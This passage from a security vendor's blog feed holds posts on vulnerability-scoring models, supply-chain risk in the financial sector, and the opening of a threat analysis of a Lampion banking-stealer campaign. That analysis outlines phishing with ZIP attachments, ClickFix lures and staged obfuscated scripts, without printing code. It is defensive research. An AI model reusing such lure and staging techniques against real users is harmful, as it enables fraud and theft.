	&lt;li&gt;&lt;a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog"&gt;CISA KEV&lt;/a&gt;: &lt;em&gt;Famous&lt;/em&gt;. These are vulnerabilities Federal Agencies are required to fix in a specific time frame because there is evidence of exploitation attempts.&lt;/li&gt;
	&lt;li&gt;&lt;a href="https://www.bitsight.com/products/vulnerability-intelligence"&gt;Bitsight Vulnerability Intelligence&lt;/a&gt;: &lt;em&gt;The hot up and comer&lt;/em&gt;. Bitsight’s CTI capabilities are expanding and we have data on CVEs that APTs are actively exploiting and using in ransomware campaigns.&lt;/li&gt;
	&lt;li&gt;&lt;a href="https://www.vulncheck.com/press/vulncheck-kev"&gt;VulnCheck KEV&lt;/a&gt;: &lt;em&gt;Private but free&lt;/em&gt;. Launched in February of 2024, VulnCheck has been publishing their own KEV list of vulns they have evidence of exploitation of, but haven’t quite made the cut for CISA.&lt;/li&gt;
	&lt;li&gt;&lt;a href="https://dashboard.shadowserver.org/statistics/honeypot/vulnerability/monitoring/?category=monitoring&amp;amp;statistic=unique_ips&amp;amp;limit=100"&gt;Shadow Server&lt;/a&gt;: &lt;em&gt;For the good of the Internet&lt;/em&gt;. The Shadow Server Foundation maintains a list of vulnerabilities that are publicly available.&lt;/li&gt;
&lt;/ol&gt;

&lt;center&gt;
&lt;figure role="group" class="caption caption-drupal-media align-center"&gt;
&lt;article class="media media--type-image media--view-mode-original"&gt;
  
      
            &lt;div class="field field--name-field-image field--type-image field--label-hidden field__item"&gt;
                            &lt;img loading="lazy" src="https://www.bitsight.com/sites/default/files/2025/11/13/Figure%203%20Size%20and%20composition%20of%20various%20available%20KEV%20lists.png" width="850" height="680" alt="Figure 3 Size and composition of various available KEV lists" typeof="foaf:Image"&gt;


              &lt;/div&gt;
      
  &lt;/article&gt;

&lt;figcaption&gt;&lt;strong&gt;Figure 3&lt;/strong&gt; Size and composition of various available KEV lists&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;/center&gt;

&lt;p&gt;This data is shown below, with special attention paid to whether each data source denotes the CVE has known usage in &lt;a href="https://www.bitsight.com/blog/what-is-ransomware-types-and-examples"&gt;ransomware&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;So let’s apply the same method above (Gradient Boosted Tree) to try to use these data sources to predict whether a vulnerability is going to have ransomware based solely on the CVSSv3 metric values, and see if we can. Results in Figure 4 below.&lt;/p&gt;

&lt;center&gt;
&lt;figure role="group" class="caption caption-drupal-media align-center"&gt;
&lt;article class="media media--type-image media--view-mode-original"&gt;
  
      
            &lt;div class="field field--name-field-image field--type-image field--label-hidden field__item"&gt;
                            &lt;img loading="lazy" src="https://www.bitsight.com/sites/default/files/2025/11/13/Figure%204%20ROC%20curve%20for%20predicting%20ransomware%20with%20CVSSv3%20vectors.png" width="850" height="638" alt="Figure 4 ROC curve for predicting ransomware with CVSSv3 vectors" typeof="foaf:Image"&gt;


              &lt;/div&gt;
      
  &lt;/article&gt;

&lt;figcaption&gt;&lt;strong&gt;Figure 4&lt;/strong&gt; ROC curve for predicting ransomware with CVSSv3 vectors&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;/center&gt;

&lt;p&gt;A similar answer to proof of concept code, where this model would indeed do a not horrible job (a fair sight better than a coin flip) that a vulnerability is going to be used in a ransomware campaign in the future.&lt;/p&gt;

&lt;h2&gt;CVSS and Vulnerability Prioritization&lt;/h2&gt;

&lt;p&gt;Of course these basic models can’t hold a candle to models that take into account a great deal more data to more accurately predict vulnerability risk. I am of course referring to &lt;a href="https://help.bitsighttech.com/hc/en-us/articles/31092547595927-Vulnerability-Prioritization-DVE-EPSS"&gt;Bitsight’s Dynamic Vulnerability Exploit(DVE) Score and the open Explioit Prediction Scoring System (EPSS)&lt;/a&gt;. Both of these systems strive to predict exploitation in the near future (DVE in the next 90 days, EPSS in the next 30), but cover different types of exploitation and use data collected from different sources. DVE strives to understand attackers using exploits based on data from the dark web, while &lt;a href="https://www.bitsight.com/glossary/epss-exploit-prediction-scoring-system"&gt;EPSS&lt;/a&gt; uses vulnerability features and other data to predict the exploitation activity from a variety of network- or host-layer intrusion detection/prevention systems.&lt;/p&gt;

&lt;p&gt;Like CVSS, both of these scoring systems are imperfect. A common complaint, despite their propensity for being right, is they will occasionally provide a low score for a vulnerability which is known to be exploited in the wild. This seems doubly galling when the vulnerability in question also has a CVSS score of 10.0. So this got me thinking: “Can we combine these measures in a methodologically principled way to come up with a useful prioritization strategy?&lt;sup&gt;4&lt;/sup&gt;”&lt;/p&gt;

&lt;p&gt;The answer is of course “yes”, as nearly every data challenge has been addressed in some way before. In particular, we draw on the idea of &lt;em&gt;&lt;a href="https://arxiv.org/pdf/1502.06498"&gt;Consensus Ranking&lt;/a&gt;&lt;/em&gt; as a method of decision making where one tries to find an ordering of choices among various opinion havers that will make everyone the least upset. If we treat each of our scores (CVSS, DVE, EPSS, and some vuln intelligence on exploitation) as an opinion about the riskiness of a vulnerability, we can use a consensus ranking algorithm to come up with such a ranking of &lt;a href="https://www.bitsight.com/groma-explorer/cve-software-list"&gt;CVEs&lt;/a&gt; that is perhaps more likely to make folks happy. The result can be see in Figure 5 below.&lt;/p&gt;

&lt;center&gt;
&lt;figure role="group" class="caption caption-drupal-media align-center"&gt;
&lt;article class="media media--type-image media--view-mode-original"&gt;
  
      
            &lt;div class="field field--name-field-image field--type-image field--label-hidden field__item"&gt;
                            &lt;img loading="lazy" src="https://www.bitsight.com/sites/default/files/2025/11/13/Figure%205%20Consensus%20Rank%20of%20CVEs%20that%20Bitsight%20tracks%20compared%20to%20other%20measurement%20systems.png" width="850" height="638" alt="Figure 5 Consensus Rank of CVEs that Bitsight tracks compared to other measurement systems" typeof="foaf:Image"&gt;


              &lt;/div&gt;
      
  &lt;/article&gt;

&lt;figcaption&gt;&lt;strong&gt;Figure 5&lt;/strong&gt; Consensus Rank of CVEs that Bitsight tracks compared to other measurement systems.&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;/center&gt;

&lt;p&gt;What’s striking in Figure 5 is that we see a positive correlation for all measures, though weakest with CVSS and with some alluring multi-modal bands. Moreover, it shows some “blind spots” for each of the measures. High risk, known exploited vulnerabilities of various flavors (ransomware and apt) remain at the top of the consensus “worst”, but across some of these systems these would have disappointingly low scores. Moreover, there are some vulnerabilities that have rather high scores, but fall short on the consensus rank side, simply because other systems may not agree with the risk they pose.&lt;/p&gt;

&lt;h2&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;What does this say about vulnerability risk? There are two lessons we’d like our intrepid reader to take away from this piece.&lt;/p&gt;

&lt;ol&gt;
	&lt;li&gt;An exhortation not to think about measures as “this is a measure of risk, while this other thing is not.” Rather we should think about how much measures like CVSS (or EPSS or DVE or whatever) can tell us about risk and to what degree.&lt;/li&gt;
	&lt;li&gt;Do not be a measure zealot and do your best to see the whole field. All of these measures can give you new information about the vulnerability risk landscape, do not cling to any single one as the best, nor dismiss others because of their flaws.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;For all our measurements, we are always dealing with noisy signals and collecting as much information about the particular context of a vuln is important. So when you hear about a CVSS Critical vulnerability, your ears should perk up and you should look into it if you know you have that particular software or device. Don’t take it as an absolute that you should panic, but rather as an indication that you should look into things further.&lt;/p&gt;

&lt;p&gt;&amp;nbsp;&lt;/p&gt;

&lt;p&gt;&lt;font size="1"&gt;&lt;sup&gt;1&lt;/sup&gt;&amp;nbsp;&lt;/font&gt;&lt;span style="font-size: 11px;"&gt; Even just “picking a version of CVSS” is not quite simple, as there are often multiple scores from different folks rating a CVE. We’ll take the highest base value we see for any given CVE.&lt;br&gt;
&lt;font size="1"&gt;&lt;sup&gt;2&lt;/sup&gt;&amp;nbsp;&lt;/font&gt;&lt;span style="font-size: 11px;"&gt; It seems only Sith and security people deal in absolutes.&lt;br&gt;
&lt;font size="1"&gt;&lt;sup&gt;3&lt;/sup&gt;&amp;nbsp;&lt;/font&gt;&lt;span style="font-size: 11px;"&gt; More complicatedly, the model outputs a value between 0 and 1 that a CVE has a Proof-of-Concept exploit. We can set a threshold (ɑ, shown as color) to say “everything below that value is not PoC everything above is” and ask how right we are. As we turn the value “up” (down and to the left from the upper right corner), we fail to correctly find CVEs that do have PoCs (True Positive rate goes down), but we also lower the False Positive rate.&lt;br&gt;
&lt;font size="1"&gt;&lt;sup&gt;4&lt;/sup&gt;&amp;nbsp;&lt;/font&gt;&lt;span style="font-size: 11px;"&gt; And that is sometimes a big &lt;/span&gt;&lt;strong style="font-size: 11px;"&gt;IF&lt;/strong&gt;&lt;br&gt;
&lt;font size="1"&gt;&lt;sup&gt;5&lt;/sup&gt;&amp;nbsp;&lt;/font&gt;&lt;span style="font-size: 11px;"&gt; And as a side benefit, I get to learn some weird methodology.&lt;/span&gt;&lt;br&gt;
&lt;font size="1"&gt;&lt;sup&gt;6&lt;/sup&gt;&amp;nbsp;&lt;/font&gt;&lt;span style="font-size: 11px;"&gt; Since we’re predicting a value now we gotta tweak the xgboost algo a little but it’s essentially the same.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p&gt;&amp;nbsp;&lt;/p&gt;

              &lt;/div&gt;
      
    &lt;/div&gt;
  &lt;/div&gt;

      &lt;/div&gt;

    &lt;/div&gt;
  &lt;/div&gt;

</description>
  <pubDate>Tue, 18 Nov 2025 13:10:00 +0000</pubDate>
    <dc:creator>Eric Cisternelli</dc:creator>
    <guid isPermaLink="false">18111 at https://www.bitsight.com</guid>
    </item>
<item>
  <title>3 Truths About the Financial Sector’s Digital Supply Chain Uncovered by Bitsight TRACE</title>
  <link>https://www.bitsight.com/blog/3-truths-about-financial-sector-digital-supply-chain</link>
  <description>&lt;span property="schema:name" class="field field--name-title field--type-string field--label-hidden"&gt;3 Truths About the Financial Sector’s Digital Supply Chain Uncovered by Bitsight TRACE&lt;/span&gt;
&lt;span rel="schema:author" class="field field--name-uid field--type-entity-reference field--label-hidden"&gt;&lt;span lang about="https://www.bitsight.com/user/16" typeof="schema:Person" property="schema:name" datatype&gt;Eric Cisternelli&lt;/span&gt;&lt;/span&gt;
&lt;span property="schema:dateCreated" content="2025-11-06T13:00:00+00:00" class="field field--name-created field--type-created field--label-hidden"&gt;&lt;time datetime="2025-11-06T08:00:00-05:00" title="Thursday, November 6, 2025 - 08:00" class="datetime"&gt;Thu, 11/06/2025 - 08:00&lt;/time&gt;
&lt;/span&gt;

    &lt;div class="layout layout--onecol"&gt;
    &lt;div class="layout__region layout__region--content"&gt;
        &lt;div class="block block-layout-builder block-inline-blocktext"&gt;
    
    
          


  

&lt;div class="block-content block-content--type-text block-content--38836 block-content--view-mode-full container text-wysiwyg"&gt;

  
  

          &lt;div class="text-wysiwyg__title"&gt;
      

    &lt;/div&gt;
  
      &lt;div class="text-wysiwyg__body"&gt;
      
            &lt;div class="clearfix text-formatted field field--name-body field--type-text-with-summary field--label-hidden field__item"&gt;
                          &lt;h2&gt;Audio Recap&lt;/h2&gt;
&lt;script src="https://fast.wistia.com/player.js" async&gt;&lt;/script&gt;&lt;script src="https://fast.wistia.com/embed/a78p2qjmkj.js" async type="module"&gt;&lt;/script&gt;&lt;style&gt;wistia-player[media-id='a78p2qjmkj']:not(:defined) { display: block; filter: blur(5px); padding-top:100%; }&lt;/style&gt; &lt;wistia-player media-id="a78p2qjmkj" swatch="false" style="width: 100%;height: 100%;"&gt;&lt;/wistia-player&gt;
&lt;br&gt;

&lt;p&gt;When it comes to managing cyber risk, the &lt;a href="https://www.bitsight.com/industries/financial-services"&gt;financial sector&lt;/a&gt; is squarely at the top of the food chain. It’s simple economics (and the plot of many movies): financial institutions have the money, and cybercriminals are always looking for ways to take it. As a result, institutions have invested heavily in strengthening their internal systems and cybersecurity controls. Those investments have paid off. The industry continues to lead others in the maturity of its cyber risk management practices and the protection of its core infrastructure.&lt;/p&gt;

&lt;p&gt;One of the larger and newer &lt;a href="https://www.bitsight.com/blog/growing-cybersecurity-threats-to-financial-sector"&gt;challenges that financial companies face&lt;/a&gt; is that “internal” systems represent only a portion of the sector’s total attack surface. In an ecosystem defined by digital-first financial products, expanding fintech ecosystems, and AI-driven outputs, the supply chain of technology providers grows continuously. Dubbed by many as the “SaaS proliferation” problem, each new connection, integration, and dependency adds another layer of potential exposure. This expanding web of third-party relationships is creating material, and often unseen/unmanaged, risk for individual institutions and for the financial sector as a whole.&amp;nbsp;&lt;/p&gt;

&lt;p&gt;To put it in the words of one of the strongest CISOs in the game today (on the SaaS model and Supply Chain Risk):&lt;/p&gt;

&lt;p class="text-align-center"&gt;&lt;em&gt;“SaaS has become the default and is often the only format in which software is now delivered, leaving organizations with little choice but to rely heavily on a small set of leading service providers, embedding concentration risk into global critical infrastructure. While this model delivers efficiency and rapid innovation, it simultaneously magnifies the impact of any weakness, outage, or breach, creating single points of failure with potentially catastrophic systemwide consequences.”&lt;br&gt;
-Patrick Opet, “An open letter to third-party suppliers,” 2025&amp;nbsp;&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;Using observable data to uncover supply chain risk in finance&lt;/h2&gt;

&lt;p&gt;So what does this mean for the companies that house the backbone of our financial system?&amp;nbsp;&lt;/p&gt;

&lt;p&gt;Bitsight TRACE's Ben Edwards recently conducted &lt;a href="https://www.bitsight.com/resources/exposed-cyber-risk-financial-sector-and-its-supply-chain-report"&gt;an in-depth analysis of the state of supply chain risk in finance today&lt;/a&gt;. The findings are clear: the web of dependencies supporting modern organizations is extraordinarily complex, and the financial sector is no exception. Within the dataset, more than 1.6M third-party technology relationships were identified. This vast digital supply chain fuels the operational speed and efficiency we’ve all (read, the markets) have become accustomed to. Systems to enable systems to enable systems, to drive profits at a record-setting pace.&lt;/p&gt;

&lt;p&gt;Alongside the efficiencies come risks. Every vendor connection represents a potential point of exposure, collectively forming the true perimeter of today’s financial enterprise. Each provider adds a new layer of assumed trust that organizations must be willing to accept. Given the sheer number of these relationships, conducting &lt;a href="https://www.bitsight.com/blog/five-step-vendor-due-dilligence-checklist"&gt;diligence&lt;/a&gt; on every provider is nearly impossible without the help of specialized tools like Bitsight. The once well-defined network boundary has evolved into a dynamic, constantly shifting digital ecosystem, which represents the real digital footprint of modern finance.&lt;/p&gt;

&lt;p&gt;Understanding this footprint is the first step toward managing it. The data also shows that most financial institutions see only a fraction of their full supplier ecosystem. Beneath this growing complexity, &lt;strong&gt;three critical truths about digital supply chain risk in finance begin to emerge&lt;/strong&gt;.&lt;/p&gt;

&lt;h2&gt;1. Finance companies rely heavily on “hidden pillar” vendors unique to the industry.&lt;/h2&gt;

&lt;p&gt;When examining the top critical suppliers most common to financials, the well-known tech giants are all present. These are the obvious foundational vendors of tech architecture, such as Bloomberg L.P. Group, &lt;a href="https://www.bitsight.com/groma-explorer/microsoft"&gt;Microsoft&lt;/a&gt;, and &lt;a href="https://www.bitsight.com/groma-explorer/google"&gt;Google&lt;/a&gt;. Open source providers also play a big role, including &lt;a href="https://www.bitsight.com/groma-explorer/python/python"&gt;Python&lt;/a&gt; and &lt;a href="https://www.bitsight.com/groma-explorer/jquery/jquery"&gt;JQuery&lt;/a&gt;, which is actually the number one supply chain provider in the critical list.&lt;/p&gt;

&lt;p&gt;Interesting, but so what? These companies are the de facto standard when it comes to the technology supply chain.&amp;nbsp;&lt;/p&gt;

&lt;p&gt;Digging deeper into the data reveals a layer of vendors that do not often make the headlines but quietly hold up the financial world’s core infrastructure. When we compare overall market share against their presence in finance, a distinct pattern emerges.&amp;nbsp;&lt;/p&gt;

&lt;center&gt;
&lt;drupal-media data-align="center" data-caption="&amp;lt;em&amp;gt;The “hidden pillars” of the Financial Sector by market share (global vs. finance).&amp;lt;/em&amp;gt;" data-entity-type="media" data-entity-uuid="76b911ca-25c4-4ec5-8d74-2dd413c70862" data-view-mode="original"&gt;&lt;/drupal-media&gt;
&lt;/center&gt;

&lt;p&gt;Providers like Plaid, Murex, FactSet, Dow Jones &amp;amp; Company, and Fiserv sit at the center of this web, supplying the specialized tools, data, and connectivity that keep capital flowing. The picture becomes more interesting the further we look. Identity and access management providers such as CyberArk and Entrust also appear disproportionately critical to finance. This is not surprising, as few industries are as sensitive to authentication, authorization, and the control of digital identities. Protecting how money moves demands more than encryption; it demands trust in access.&lt;/p&gt;

&lt;p&gt;From my perspective, a few unexpected names also surface in the data. General Dynamics, though primarily a defense contractor, plays a quiet but critical role in finance. Its expertise in maintaining and modernizing legacy mainframes running COBOL, many of which still handle core transaction systems, helps keep the global financial infrastructure stable and secure amid ongoing digital transformation.&lt;/p&gt;

&lt;p&gt;These firms form the connective tissue of the modern financial system, often operating behind the scenes but essential to its stability and resilience.&lt;/p&gt;

&lt;h2&gt;2. Finance leads in monitoring, but most of its supply chain remains unobserved.&lt;/h2&gt;

&lt;p&gt;Unsurprisingly, the financial sector is the most diligent among all other industry verticals in monitoring its third-party relationships for cyber risk factors. Bitsight supplies nearly 600 financial companies with &lt;a href="https://www.bitsight.com/products/third-party-risk-management"&gt;third-party risk management&lt;/a&gt; telemetry for more than 46,000 organizations with which these customers have relationships. Our data shows that these organizations monitor an average of 36.3% of their overall supply chain, compared to 24.6% monitored by organizations in other industry sectors. This is good relative to the others, but it does raise the point that the majority of the industry’s supply chain still remains mostly unwatched.&lt;/p&gt;

&lt;h2&gt;3. Unmonitored financial suppliers carry higher critical risk.&lt;/h2&gt;

&lt;p&gt;In the grand scheme of things, financial institutions are the most likely to have set up concise processes and criteria to decide which vendors get &lt;a href="https://www.bitsight.com/products/continuous-monitoring"&gt;continuous monitoring&lt;/a&gt;. Even still, there’s more we can learn about how much risk slips through the cracks when big parts of the supply chain go unmonitored. Our analysis shows that these unmonitored suppliers tend to lag on basic security upkeep. They have 2.9 times more &lt;a href="https://www.bitsight.com/groma-explorer/cve-software-list"&gt;critical CVEs&lt;/a&gt; and 2.8 times more known exploited vulnerabilities (KEVs) than those under continuous watch.&lt;/p&gt;

&lt;p&gt;As the financial sector continues to digitize and expand its network of technology partners, third-party risk will only grow in importance. The industry may be ahead of most when it comes to managing these relationships, but there is still work to do. Greater visibility into the full digital supply chain is not just good hygiene; it is essential to keeping the system resilient.&amp;nbsp;To get the full report details, &lt;a href="https://www.bitsight.com/resources/exposed-cyber-risk-financial-sector-and-its-supply-chain-report"&gt;download the report here&lt;/a&gt;.&lt;/p&gt;

              &lt;/div&gt;
      
    &lt;/div&gt;
  &lt;/div&gt;

      &lt;/div&gt;
  &lt;div class="block block-layout-builder block-inline-blocklibrary"&gt;
    
    
          
&lt;div class="block-content block-content--type-library block-content--38851 block-content--view-mode-full"&gt;
  
  
  &lt;div class="block-content__content"&gt;
    
            &lt;div class="field field--name-field-block field--type-entity-reference field--label-hidden field__item"&gt;
                          








  



  




  




  




  



&lt;div class="card--without-header block-content block-content--type-card block-content--38846 block-content--view-mode-default"&gt;
  
  
  
  &lt;article class="card  background--brand-charcoal"&gt;
    &lt;div class="card__inner-wrapper container "&gt;

                        &lt;div class="card__media"&gt;
            &lt;div class="card__media-screenshot"&gt;
              &lt;div class="card__circle-container"&gt;
                &lt;span class="card__circle"&gt;&lt;/span&gt;
                &lt;span class="card__circle"&gt;&lt;/span&gt;
                &lt;span class="card__circle"&gt;&lt;/span&gt;
              &lt;/div&gt;
            &lt;/div&gt;

            &lt;div class="media-wrapper "&gt;
                              
      &lt;div class="field field--name-field-media field--type-entity-reference field--label-hidden field__items"&gt;
              &lt;div class="field__item clearfix"&gt;
                                &lt;article class="media media--type-image media--view-mode-card"&gt;
  
      
            &lt;div class="field field--name-field-image field--type-image field--label-hidden field__item"&gt;
                            &lt;img loading="lazy" src="https://www.bitsight.com/sites/default/files/styles/card_media/public/2025/11/05/Exposed-%20Cyber%20Risk%20in%20the%20Financial%20Sector%20and%20Its%20Supply%20Chain%20cover.png?itok=1J1CbDbD" width="1024" height="677" alt="Exposed- Cyber Risk in the Financial Sector and Its Supply Chain cover" typeof="foaf:Image" class="image-style-card-media"&gt;



              &lt;/div&gt;
      
  &lt;/article&gt;

                  &lt;/div&gt;
          &lt;/div&gt;
  
              
                          &lt;/div&gt;
          &lt;/div&gt;
        
              
      &lt;div class="card__content"&gt;
                          

        
                  &lt;div class="card__heading"&gt;
            &lt;h2&gt;&lt;svg style="max-width:35px;" viewBox="0 0 640 640"&gt;&lt;!--!Font Awesome Free 7.1.0 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free Copyright 2025 Fonticons, Inc.--&gt;&lt;path d="M341.5 45.1C337.4 37.1 329.1 32 320.1 32C311.1 32 302.8 37.1 298.7 45.1L225.1 189.3L65.2 214.7C56.3 216.1 48.9 222.4 46.1 231C43.3 239.6 45.6 249 51.9 255.4L166.3 369.9L141.1 529.8C139.7 538.7 143.4 547.7 150.7 553C158 558.3 167.6 559.1 175.7 555L320.1 481.6L464.4 555C472.4 559.1 482.1 558.3 489.4 553C496.7 547.7 500.4 538.8 499 529.8L473.7 369.9L588.1 255.4C594.5 249 596.7 239.6 593.9 231C591.1 222.4 583.8 216.1 574.8 214.7L415 189.3L341.5 45.1z" fill="#CFFF33" /&gt;&lt;/svg&gt; Exposed: Cyber Risk in the Financial Sector and Its Supply Chain&lt;/h2&gt;

          &lt;/div&gt;
        
        
                  &lt;div class="card__summary"&gt;
              &lt;div class="body-text"&gt;
              
            &lt;div class="clearfix text-formatted field field--name-field-summary field--type-text-long field--label-hidden field__item"&gt;
                          &lt;p&gt;64% of the financial sector’s supply chain is unmonitored. That’s not a typo. Most financial firms don’t have visibility into two-thirds of their third-party ecosystem. And attackers know it.&lt;/p&gt;
&lt;style type="text/css"&gt;.card__inner-wrapper {gap:50px;}
.card__content {padding-right: 2%;}
&lt;/style&gt;

              &lt;/div&gt;
      
        
  &lt;/div&gt;
          &lt;/div&gt;
        
                  &lt;div class="card__cta"&gt;
                          &lt;div class="card__button"&gt;
                


  &lt;a href="https://www.bitsight.com/resources/exposed-cyber-risk-financial-sector-and-its-supply-chain-report" class="button card__button button--filled-color" aria-label&gt;Read report
    
      &lt;/a&gt;
              &lt;/div&gt;
            
            
                      &lt;/div&gt;
              &lt;/div&gt;
    &lt;/div&gt;
  &lt;/article&gt;
    &lt;/div&gt;

              &lt;/div&gt;
      
  &lt;/div&gt;
&lt;/div&gt;

      &lt;/div&gt;

    &lt;/div&gt;
  &lt;/div&gt;

</description>
  <pubDate>Thu, 06 Nov 2025 13:00:00 +0000</pubDate>
    <dc:creator>Eric Cisternelli</dc:creator>
    <guid isPermaLink="false">18061 at https://www.bitsight.com</guid>
    </item>
<item>
  <title>From Brazil with Love: New Tactics from Lampion</title>
  <link>https://www.bitsight.com/blog/brazil-love-new-tactics-lampion</link>
  <description>&lt;span property="schema:name" class="field field--name-title field--type-string field--label-hidden"&gt;From Brazil with Love: New Tactics from Lampion&lt;/span&gt;
&lt;span rel="schema:author" class="field field--name-uid field--type-entity-reference field--label-hidden"&gt;&lt;span lang about="https://www.bitsight.com/user/16" typeof="schema:Person" property="schema:name" datatype&gt;Eric Cisternelli&lt;/span&gt;&lt;/span&gt;
&lt;span property="schema:dateCreated" content="2025-10-28T12:10:00+00:00" class="field field--name-created field--type-created field--label-hidden"&gt;&lt;time datetime="2025-10-28T08:10:00-04:00" title="Tuesday, October 28, 2025 - 08:10" class="datetime"&gt;Tue, 10/28/2025 - 08:10&lt;/time&gt;
&lt;/span&gt;

    &lt;div class="layout layout--onecol"&gt;
    &lt;div class="layout__region layout__region--content"&gt;
        &lt;div class="block block-layout-builder block-inline-blocktext"&gt;
    
    
          


  

&lt;div class="block-content block-content--type-text block-content--38556 block-content--view-mode-full container text-wysiwyg"&gt;

  
  

          &lt;div class="text-wysiwyg__title"&gt;
      

    &lt;/div&gt;
  
      &lt;div class="text-wysiwyg__body"&gt;
      
            &lt;div class="clearfix text-formatted field field--name-body field--type-text-with-summary field--label-hidden field__item"&gt;
                          &lt;h2&gt;Executive summary&lt;/h2&gt;

&lt;p&gt;This post will describe a long-running spam campaign from a Brazilian group known for using the Lampion stealer. We’ll detail the latest updates on the infection chain and its components, share previously undescribed indicators, and cover key takeaways, including:&lt;/p&gt;

&lt;ul&gt;
	&lt;li&gt;The campaign has been ongoing for over a year.&lt;/li&gt;
	&lt;li&gt;Compromised emails are used to send emails.&lt;/li&gt;
	&lt;li&gt;Use of email attachments instead of links.&lt;/li&gt;
	&lt;li&gt;Use of cloud services as ephemeral infrastructure.&lt;/li&gt;
	&lt;li&gt;Use of ClickFix lures for initial compromise.&lt;/li&gt;
	&lt;li&gt;Updated Lampion Stealer&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;Introduction&lt;/h2&gt;

&lt;p&gt;During our research activities, we frequently come across different targeted campaigns, which can be carried out by Advanced Persistent Threats (APTs) targeting specific sectors or entities, or more generic threat actor groups whose targets are entire geographical zones or languages. By looking into how these campaigns are carried out, we’re able to identify indicators that can not only be shared with the community, but can also be used to correlate past and future campaigns, providing a better understanding on how the groups operate and how they interact with each other.&lt;/p&gt;

&lt;p&gt;In this blog post, we’ll be describing a long-running spam campaign from a Brazilian group known for using the Lampion banking trojan, active &lt;a href="https://seguranca-informatica.pt/tag/lampion/"&gt;since at least 2019&lt;/a&gt;. While previous research exists on the campaigns from using Lampion, this analysis details the latest updates on the infection chain and its components, providing previously undescribed indicators and insights into the threat actor's evolving tactics. We will explore the campaign's progression, including changes in initial compromise techniques and the multi-stage infection process. We found this threat to be significant, as our telemetry suggests the number of new daily infections to be in the several dozens and the active number of infections to be in the hundreds.&lt;/p&gt;

&lt;h2&gt;Technical analysis&lt;/h2&gt;

&lt;p&gt;In this section, we’ll detail the recent infection chain used to distribute the Lampion stealer, focusing on previously undescribed indicators and differences from previous works. The campaign we’ll analyze was initially identified at the beginning of 2025, but based on our research, it has been ongoing for an unknown period of time, with evidence showing that it was active since at least June 2024.&lt;/p&gt;

&lt;p&gt;The threat actor’s objective with this campaign has remained identical to what has been reported before, with the main focus being on dropping a stealer named Lampion that targets Portuguese banks. The entire infection chain has been associated with the Lampion Trojan, although only the final component of the chain is the Lampion malware with stealer capabilities (and the dropper component is generic enough to be used as a dropper for any other malware). For this reason, we’ll use the name Lampion Stealer when specifically referencing the final malware dropped.&lt;/p&gt;

&lt;h2&gt;Infection chain&lt;/h2&gt;

&lt;p&gt;The group’s infection chain for dropping the stealer has remained similar to previous reports, with phishing emails used as the initial infection vector, followed by a multi-step chain of obfuscated Visual Basic scripts (VBS) that terminates by dropping a DLL into the target system. During our investigation we identified three time periods where the threat actors introduced changes, as shown in Fig. 1 below. The first change was around mid September 2024, where the TAs started using ZIP attachments instead of links to a ZIP; the second change was around mid December 2024 with the introduction of ClickFix lures as a new social engineering technique; the last change was at the end of June 2025, where persistence capabilities were added to the first stage.&lt;/p&gt;

&lt;center&gt;
&lt;figure role="group" class="caption caption-drupal-media"&gt;
&lt;article class="media media--type-image media--view-mode-original"&gt;
  
      
            &lt;div class="field field--name-field-image field--type-image field--label-hidden field__item"&gt;
                            &lt;img loading="lazy" src="https://www.bitsight.com/sites/default/files/2025/10/22/Timeline%20with%20main%20observed%20events.png" width="850" height="214" alt="Timeline with main observed events" typeof="foaf:Image"&gt;


              &lt;/div&gt;
      
  &lt;/article&gt;

&lt;figcaption&gt;Figure 1. Timeline with main observed events.&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;/center&gt;

&lt;p&gt;Before moving to each stage in detail, we provide below in Fig. 2 a diagram of the infection chain as we’ve observed it, which provides more context for the following subsections.&lt;/p&gt;

&lt;center&gt;
&lt;figure role="group" class="caption caption-drupal-media"&gt;
&lt;article class="media media--type-image media--view-mode-original"&gt;
  
      
            &lt;div class="field field--name-field-image field--type-image field--label-hidden field__item"&gt;
                            &lt;img loading="lazy" src="https://www.bitsight.com/sites/default/files/2025/10/22/Infection%20chain%20diagram.png" width="850" height="225" alt="Infection chain diagram." typeof="foaf:Image"&gt;


              &lt;/div&gt;
      
  &lt;/article&gt;

&lt;figcaption&gt;Figure 2. Infection chain diagram.&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;/center&gt;

&lt;p&gt;The analysis that is made next for each step of the infection chain focuses on a single sample that represents that step in the infection chain; we do not specify a hash for the analysis, but rather focus on the behavior of the observed samples at each step. Specific hashes are available in the IoCs section at the end of the article.&lt;/p&gt;

&lt;h3&gt;Phishing emails&lt;/h3&gt;

&lt;p&gt;The group behind the Lampion has used different email templates to distribute the stealer since it was initially described in 2019, with the focus on having the victim download a ZIP file that contains the first stage component of the infection chain.&lt;/p&gt;

&lt;p&gt;Known topics for the content of the emails include &lt;a href="https://seguranca-informatica.pt/targeting-portugal-a-new-trojan-lampion-has-spread-using-template-emails-from-the-portuguese-government-finance-tax/"&gt;issues with the filing of tax returns&lt;/a&gt; (2019), &lt;a href="https://seguranca-informatica.pt/trojan-lampion-is-back-after-3-months/"&gt;bank transfers receipts&lt;/a&gt; (2020), &lt;a href="https://seguranca-informatica.pt/lampion-trojan-disseminated-in-portugal-using-covid-19-template/"&gt;COVID-19 vaccination&lt;/a&gt; (2021), and more recently the re-use of &lt;a href="https://www.layer8.pt/PDFs/New%20Lampion%20banking%20Trojan%20variant%20in%20the%20wild.pdf"&gt;bank transfer receipts&lt;/a&gt; (2023), which was also the topic we observed for the latest campaign, and is also mentioned by &lt;a href="https://unit42.paloaltonetworks.com/lampion-malware-clickfix-lures/"&gt;Unit 42&lt;/a&gt;. More specifically, we observed emails with the following subjects:&lt;/p&gt;
&lt;style type="text/css"&gt;td {background-color:#fff;}
.text-wysiwyg__body table tr td:first-child
{font-weight: inherit; 
 {
&lt;/style&gt;
&lt;table&gt;
	&lt;thead&gt;
		&lt;tr&gt;
			&lt;th&gt;Portuguese&lt;/th&gt;
			&lt;th&gt;English&lt;/th&gt;
